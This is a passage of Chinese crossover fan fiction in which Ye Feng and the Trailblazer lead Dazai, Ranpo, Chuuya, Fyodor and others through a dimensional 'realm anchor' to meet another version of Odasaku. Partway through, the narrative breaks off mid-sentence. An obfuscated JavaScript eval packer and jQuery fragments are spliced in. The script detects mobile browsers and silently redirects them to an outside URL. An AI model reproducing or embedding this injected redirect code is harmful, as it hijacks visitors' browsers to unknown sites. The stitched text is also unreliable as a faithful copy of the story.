叶枫给了他们充分的反应时间，三秒后补充道：“按目前的情况推测，这个世界将在一个月内溃散。”


    开拓者目瞪口呆地看向叶枫，忍不住小声道：“这么直接没问题吗？”


    这话开拓者自以为说得非常轻，但在安静的酒吧里是如此的明显——旋律动人的歌曲早在叶枫等人到来时就被太宰治暂停了。不过开拓者显然是多虑了，这群人，除了坂口安吾三人外，其他人都很“了解”叶枫，但哪怕坂口安吾等人对他没有那么熟悉，也知道对方并不是一个会拿这种事情开玩笑的人...毕竟叶枫又不是太宰治。


    如果太宰治知道大家的想法，肯定又要抱屈了，叶枫这人之前提出的自杀方法比他想的要抽象得多，还会配合他演戏，只是这种事情渐渐少了...港口黑手党里专门负责人事方面的干部这一形象慢慢覆盖了所有。


    虽然有几人仍旧会感到震惊和不可置信，但没有人提出质疑。叶枫继续推动流程，他拿出一枚奇怪的...太宰治等人很难用言语来概括这到底是一个什么东西，这个明显超出他们认知的东西按上中下可以分成三部分，上下都是一根尖尖的刺，像是一根针，中间是一个骰子，他们熟悉的六面骰子上印刻着陌生的花纹，这三部分并没有使用任何他们可以看得见的物质连接...


    中岛敦目瞪口呆，他语气飘忽，问道：“这是什么异能力产物吗？”


    “这是一种界域定锚，能沟通不同维度的世界。”


    不同维度？听起来是科幻小说才会出现的名词，这里并不是所有人都对这个名词有一定的概念。


    坂口安吾的心跳越来越快，他虽然没有太宰治和江户川乱步那么智多近妖，也不像中原中也和织田作之助那样了解叶枫，但他是情报员，收集、分析数据，是他的本能，他很不想这样假设，但目前叶枫的所有言行，还有那个...界域定锚，都指向了一个可能性，他问道：“那我们在第几维，你们...是更高维的存在吗？”


    虽然在场的所有人，只有那位开拓者是新面孔，叶枫和他们都相处了不短的时间，但坂口安吾依旧把叶枫归到另一类，一种无形的隔阂似乎随着这个问题出现，将叶枫和他们划分到泾渭分明的两边。


    叶枫并不介意突然微妙起来的气氛，淡淡地说道：“你们目前的情况很难解释，而我和开拓者对最初的你们而言，的确是更高维的存在，但现在不一样了。”


    “我会让你们亲自看到这个世界的本质，”叶枫将界域定锚往前递了递，“你们把手放在上面，我们一起去一个...不存在于这个世界的地方。”


    第一个将手放上去的是费奥多尔·D，他自踏进酒馆后便一直待在叶枫的身边，表情没有什么变化，除了会向熟悉的四人投去眼神外，完全没有看过其他人，作为最早察觉出异样...也许不太对，作为最先向叶枫求证的人，他在种花家留学的那段时间发现了更多信息，这一步一步推翻了他之前的部分猜测，也佐证了叶枫找到他之后的说辞。


    *


    文学，某种程度上来说是他的手段，也是目的，他既然已经选择直面异能力并不是一切恶的根源这一事实，便只能去寻找消除这种人性之恶的办法...创造一个没有恶的世界，是不可能的，他很清楚，他也只能逐步地靠近，慢慢地摸索。他和织田作之助沟通了许多，太宰治和江户川乱步也是他的骚扰对象，中原中也这样一个特殊案例也被他找了几回，至于叶枫...那晚之后他们反而没有联系了。


    直到昨天晚上，一个跨国电话打来。异能力者的数量处于异常状态他是知道的，虽然称得上是“金盆洗手”，但有些习惯还是本能，他察觉到端倪后黑了不少系统——恕他直言，那些系统依旧不堪一击，然而尽管知道世界似乎正在走向失控，他却没有任何行动，他知道叶枫会来找他的，唯一的出入便是这个时间点比他预测的要晚一些。


    “费佳，半夜好。”


    “...您的行为一如既往的任性。”


    “其实是想明天一早再给你打电话的，但是怕又忘了，所以就现在打，抱歉啦，费佳。”


    “忆起遗忘吗？您的记忆力和行动力似乎回来了些许。”


    “不是噢，是某种更糟糕的虚无险些把我变成无聊的人呢。”


    “您一直如此有趣...只是，我以为会是某些更实质的东西。”


    “费佳这段时间不是在研究文字如何影响人类吗？思想，形而上的存在，只是一个概念的话有时会更难应对。老实说，防不胜防。”


    “认知、拆解、重构，需要定义概念的能力...您难道是卡在第一步吗？这样的话，真是——”


    “不甘心，对吧。”


    “...所以，您不单单是为了和我讨论如此哲学的问题吧。”


    “明天晚上八点，Lupin酒吧集合。”


    “口吻突然就变了...我会准时到的。”


    “迷路的话提前说，我来接你。”


    *


    在费奥多尔·D之后，是站在开拓者旁边的江户川乱步，他也是没有丝毫犹豫地将手放在了界域定锚上面，他的表情已经不复最初的轻松，取而代之的是难得一见的严肃。他好奇心十足，探究欲旺盛，本应继续扒拉开拓者来满足自己，然而他还是克制住了这份不合时宜的跃跃欲试，破解难题固然有趣，但现在这个难题，以他目前的推理，正在走向不可挽回的局势，这里有他在意的一切，难题波及范围却是全世界，不加以制止的话，他珍视的都会消散...他不允许。


    江户川乱步抿着唇，有些懊恼，看到那个开拓者后，他才发现自己错过了这么多线索，明明是摆在面前的异常，居然还视若无睹，沉浸在破了几个案子的低劣快乐中，愚蠢而不自知。


    太宰治还是第一次见江户川乱步露出这样的表情，他走过去，将手放在界域定锚后，凑到江户川乱步面前，轻声道：“乱步先生，我们还需要名侦探的聪明才智呢。”


    健康地处理情绪一向不是江户川乱步的擅长所在，但这同时也是太宰治的短板之一，他这话一出，熟悉他的人都看向他，那人依旧是嘴角翘起，眼神玩味...中原中也“啧”了一声，走过去将自己的手放在界域定锚时还非常不经意地肘击了一下太宰治，然后若无其事地看向叶枫，问道：“只有我们就够了吗？我哥他们就在横滨。”


    叶枫摇头，“正常来说不用打架。”


    中原中也有些头疼，按照他的经验，能用武力解决的问题都不是问题，像太宰治那样弯弯绕绕的才更累人，而且这里还有两个...好吧，算上太宰治，有三个智商超高的人在，叶枫却还是轻皱眉头，“这听上去更糟糕了。”


    “因为事实就是如此。”叶枫并不掩饰。


    织田作之助紧随其后，将手放在上面，没有发表任何疑问。坂口安吾迟疑了几秒，也走过去将手放在上面，他没有隐秘地发动[堕落论]窥探界域定锚的记忆，也没有尝试向外发出信息，理智基于规则发出警报，情感却依旧在现实妥协，就如同每一次被太宰治和织田作之助拉上“贼船”一样，清醒着做出忠于个人的选择。


    芥川龙之介和中岛敦对视一眼，纷纷把手放了上去。叶枫于他们而言，称得上是最初的引路人，虽然他们加入港口黑手党之后都是跟在坂口安吾身边，不时被太宰治和中原中也借调过去完成任务，和叶枫的接触极少，但当初的面试场景依然历历在目...


    *


    芥川龙之介在那次面试后有和妹妹芥川银谈及叶枫的假设和提问，一直疲于奔命、忙于生存的兄妹俩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662955|177211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    第一次坐下来，面对面地说些带着“柔软”的话，这个过程并不顺利，磕磕绊绊的...温情脉脉终究不适合贫民窟出生的人，但他们是兄妹，是相依为命、血浓于水的亲人，而且他们已经住在了温暖的房子、一日三餐皆有保证、往后还有机会挣更多的钱拥有更好的生活，他们不需要再和死亡赛跑，他们有很多很多的时间，和那晚一样，把自己的想法说出来，越说越顺，越理越清。


    与芥川龙之介将面试时发生的一切都印刻在脑海中不一样，中岛敦其实已经不太记得清那天究竟发生了什么。


    最开始，他得知自己居然拥有化成老虎的异能力并且攻击了叶枫时，他的大脑一片空白，在确凿的监控录像面前，他无法抵赖，只是他什么都不记得了，每当他试图回忆那时的情况，紧张、不安、恐惧...这些负面情绪总是会先一步控制住他的大脑，就和听到院长的批评痛骂一样。


    后来，他跟在坂口安吾身后，出于自愿以及被逼和芥川龙之介较劲的心态，奋力工作。他每个月的工资都会被财务扣去5%...这个金额很小，却让他的负罪感减轻了很多，在一次新员工表彰大会上，当叶枫满脸欣慰地给他颁奖时，他终于想起当时面试中被恐惧抵挡在外围的善意。


    那场大会之后，他真正能控制自己的异能力了，和芥川龙之介的关系也从“对手”变成了队友。近几次的任务，他还从太宰治的脸上看到明晃晃的惋惜...为看不到这样的“良性竞争”感到遗憾。


    *


    开拓者没有想到事情进展得这么顺利，叶枫duang一下就拿出来了界域定锚，然后数只手唰唰唰地放在了上面，整个过程连一分钟都没有...没有质疑，如果最开始那位眼镜先生的话也算的话，还是有的。开拓者还担心过这样匪夷所思的事情不会被众人所接受，毕竟当初在翁法罗斯，在自己牵涉其中的几次轮回里，便是质疑、解释、试探、设局...那些车轱辘话反复地说，那些真相不断被覆盖被更新迭代，像是剥洋葱，又像是套娃...没想到这里这么简洁明了，开拓者双眼亮晶晶地看向叶枫，这就是打入本地人大本营之后就会拥有的特殊待遇吗？


    叶枫扫视了一圈，确认齐人之后，无奈地转头看向呆立在原地的开拓者...这家伙到底有没有意识到界域定锚需要没有受到虚无力量侵染的人去使用，“开拓者，过来吧，我们需要你。”


    鼓励式教育对开拓者的击破效率极高。开拓者“嗯”了一声，又点点头，昂首挺胸地走近几步，说道：“放心交给我吧，这个我用得可熟练了。”


    为了增加可信度，也是为了挽回那么一丁点形象，开拓者补充道：“比用驾驶器还有经验。”


    又一个没听说过的词语出现了，太宰治等人都默默地看着开拓者操作...依旧是他们无法理解的方式。


    数秒后，温润的蓝光亮起，蓝光从他们和界域定锚的连接处逐渐覆盖全身，太宰治能看清光吞噬身体的过程，然而他的心脏还没有跳动，时间的流速变慢了...或者说，他们能感知到的时间近乎凝滞。当光芒覆盖眼睛，他们齐齐合上双眼。


    “...你们来了。”


    那是他们无比熟悉的声音，太宰治立刻睁开眼睛，织田作之助就站在他旁边，他确信这一点，然而对面那人的神情完全是织田作之助才会拥有的。


    “两个织田作？”坂口安吾扶了扶眼镜，左瞧瞧，右看看，同样没有找到任何区别，对面那人，的的确确，也是织田作之助。


    视线中心的织田作之助只是惊讶了一瞬，便接受了另一个自己的存在，他看着脸上虽然有欣喜之情，但眼底是深深的疲惫的[织田作]，问道：“太宰和安吾呢？”


    既然有另一个自己，就应该有另一个太宰治和坂口安吾...吧。